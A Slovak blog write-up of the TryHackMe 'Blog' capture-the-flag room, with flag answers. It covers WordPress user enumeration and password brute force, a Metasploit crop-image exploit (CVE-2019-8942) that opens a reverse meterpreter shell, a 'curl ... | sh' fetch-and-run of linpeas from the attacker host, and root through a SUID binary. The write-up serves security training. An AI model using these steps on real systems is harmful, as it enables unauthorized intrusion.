Príspevok

TryHackMe - Blog

Kontrola binárneho súboru na zistenie kódu?

TryHackMe - Blog

Úvod

Osobne neodporúčam používať WordPress, pokiaľ to nie je absolútne nevyhnutné. Množstvo zraniteľností, ktoré sa denne objavujú, je šialené.

Najprv som si nemyslel, že je to Medium výzva, ale po nájdení binárneho súboru a preskúmaní som si uvedomil, že to nie je vtip.

Tryhackme Room Link

Nmap

Začnime nmap skenom:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.139.64
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
|   256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_  256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-title: Billy Joel's IT Blog – The IT blog
|_http-generator: WordPress 5.0
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-02-28T14:11:25
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: blog
|   NetBIOS computer name: BLOG\x00
|   Domain name: \x00
|   FQDN: blog
|_  System time: 2025-02-28T14:11:25+00:00
|_nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Otvorené porty: 22/tcp 80/tcp 139/tcp 445/tcp

Prieskum

Keďže máme otvorené porty SMB, poďme hľadať Samba shares pomocou enum4linux

1
$ enum4linux -a 10.10.139.64

Vidíme Billyho share

1
2
3
print$          Disk      Printer Drivers
BillySMB        Disk      Billy's local SMB Share
IPC$            IPC       IPC Service (blog server (Samba, Ubuntu))

Pripojme sa k nemu a stiahnime dostupné súbory

1
2
3
4
5
6
7
8
9
10
11
12
$ smbclient \\\\10.10.139.64\\BillySMB\\                                                                     
Password for [WORKGROUP\rene]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue May 26 20:17:05 2020
  ..                                  D        0  Tue May 26 19:58:23 2020
  Alice-White-Rabbit.jpg              N    33378  Tue May 26 20:17:01 2020
  tswift.mp4                          N  1236733  Tue May 26 20:13:45 2020
  check-this.png                      N     3082  Tue May 26 20:13:43 2020

                15413192 blocks of size 1024. 9790060 blocks available
smb: \> 

Ok, môžeme skontrolovať súbory, urobíme to nasledovne

  1. Pripojíme si zdieľanú zložku do nášho lokálneho priečinka
  2. Odídeme z priečinka a vrátime sa doň, aby sa obnovil
1
2
3
4
5
$ sudo mount -t cifs //10.10.139.64/BillySMB /home/rene/tryhackme/blog
$ cd ..
$ cd blog
$ ls
Alice-White-Rabbit.jpg  check-this.png  tswift.mp4

Ok, skontrolujeme súbory

1
$ xdg-open Alice-White-Rabbit.jpg

Rabbit

1
$ xdg-open check-this.png

QR Code

QR kód, ktorý nás pošle na https://www.youtube.com/watch?v=eFTLKWw542g -> Pieseň Fire sme nespustili

A video obsahuje kozu, ktorá kričí do pesničky :D

Pozrime sa na obrázky pomocou steghide

Ok, žiada nás o passphrase, ktorú nepoznáme.

Extrahovanie niektorých informácií

1
2
3
4
5
6
7
8
9
10
$ steghide --info Alice-White-Rabbit.jpg 
"Alice-White-Rabbit.jpg":
  format: jpeg
  capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
  embedded file "rabbit_hole.txt":
    size: 48.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes

Vyzerá to ako králičia nora(rabbit hole)..

Navštívme webovú stránku 10.10.139.64

Vyzerá to ako štandardná wordpress stránka

Existuje veľmi užitočný nástroj pre wordpress stránky wpscan, ktorý nám umožňuje vypísať používateľské mená, poďme ho použiť

1
$ wpscan --url http://10.10.139.64 --enumerate u

Našli sme 2 užívateľov

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[i] User(s) Identified:

[+] bjoel
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://10.10.139.64/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] kwheel
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://10.10.139.64/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Skúsme hrubú silu, môžeme to dokonca urobiť aj pomocou wpscan

1
wpscan --url http://10.10.139.64 -P /usr/share/wordlists/rockyou.txt -U "kwheel"

kwheel password

Ok prihlasovací formulár funguje iba cez blog.thm, takže musíme pridať ip do nášho súboru /etc/hosts, aby fungoval s názvom blog.thm

1
2
echo "10.10.139.64 blog.thm" | sudo tee -a /etc/hosts
10.10.139.64 blog.thm

Pokúsil som sa nahrať reverzný shell do sekcie kde sú médiá, ale zdá sa, že nefunguje

Ok, po troche prieskumu týkajúceho sa obrázkov a nahrávania do wordpressu som narazil na túto zraniteľnosť CVE-2019-8942

Otvorme metasploit a skontrolujme, či na to náhodou neexistuje modul

1
2
3
4
5
6
7
8
9
msfconsole
msf6 > search CVE-2019-8942

Matching Modules
================

   #  Name                            Disclosure Date  Rank       Check  Description
   -  ----                            ---------------  ----       -----  -----------
   0  exploit/multi/http/wp_crop_rce  2019-02-19       excellent  Yes    WordPress Crop-image Shell Upload

Aké šťastie, tak to využime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf6 > use use exploit/multi/http/wp_crop_rce
msf6 exploit(multi/http/wp_crop_rce) > options

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metas
                                         ploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THEME_DIR                   no        The WordPress theme dir name (disable theme auto-detection if provid
                                         ed)
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.133.135  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Poďme teda nastaviť požadované možnosti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 exploit(multi/http/wp_crop_rce) > set PASSWORD <CENSORED>
msf6 exploit(multi/http/wp_crop_rce) > set RHOSTS blog.thm
msf6 exploit(multi/http/wp_crop_rce) > set username kwheel
msf6 exploit(multi/http/wp_crop_rce) > set LHOST 10.11.75.122
msf6 exploit(multi/http/wp_crop_rce) > exploit
[*] Started reverse TCP handler on 10.11.75.122:4444 
[*] Authenticating with WordPress using kwheel:<CENSORED>...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (40004 bytes) to 10.10.139.64
[*] Attempting to clean up files...
[*] Meterpreter session 1 opened (10.11.75.122:4444 -> 10.10.139.64:45118) at 2025-02-28 16:29:26 +0100
meterpreter > 

A máme tu reláciu meterpreter

Prepnime na tty shell príkazom shell

Zdá sa, že vlajka user.txt tentoraz nie je reálnou vlajkou

Eskalácia privilégií

Eskalujme si nejako svoje privilégiá

sudo -l nefunguje, skúsme stiahnuť linpeas.sh z nášho počítača a spustiť ho

(Nezabudnite spustiť lokálny http server v priečinku, kde sa nachádza linpeas.sh)

1
curl 10.11.75.122/linpeas.sh | sh

Wow ani jedna vec..

Po nejakom googlení som sa dozvedel o https://github.com/Anon-Exploiter/SUID3NUM, takže si ho stiahneme a spustíme

1
curl 10.11.75.122/suid3num.py

Ok konečne niečo

Checker

Stiahnime si súbor (spustite lokálny http server na cieľovom počítači, kde je súbor checker)

1
$ wget http://10.10.139.64:8000/checker 

Poďme zanalyzovať binárny súbor pomocou nástroja ghidra

Dobre, po dlhom skúmaní sme s najväčšou pravdepodobnosťou našli kód, ktorý hľadáme

Ghidra

Funkčnosť kódu:

  1. Získa hodnotu enviromentálnej premennej admin pomocou getenv("admin")
  2. Kontroluje, či je nastavený admin
    • Ak nie je nastavený admin (t. j. NULL), vypíše sa „Not an Admin.“
    • Ak je admin nastavený, prejde na ďalší krok
  3. Eskaluje privilégiá volaním setuid(0) (na nastavenie ID užívateľa na root, ak je to povolené)
  4. Spustí nový shell spustením system(“/bin/bash”), čím spawne root shell

Čo teda v podstate môžeme urobiť, je nastaviť premennú admin na čokoľvek a spustiť checker

1
2
3
admin=rene /usr/sbin/checker
id
uid=0(root) gid=33(www-data) groups=33(www-data)

Root Vlajka

Takže môžeme získať všetky vlajky

Používateľ

Root Flag

Root

Root Flag

Zvyšok otázok:

Kde sa našiel súbor user.txt?

Odpoveď:

1
/media/usb

Aký CMS používal Billy?

Odpoveď:

1
Wordpress

Ktorá verzia vyššie uvedeného CMS bola použitá?

1
5.0
Tento príspevok je licencovaný pod CC BY 4.0 autorom.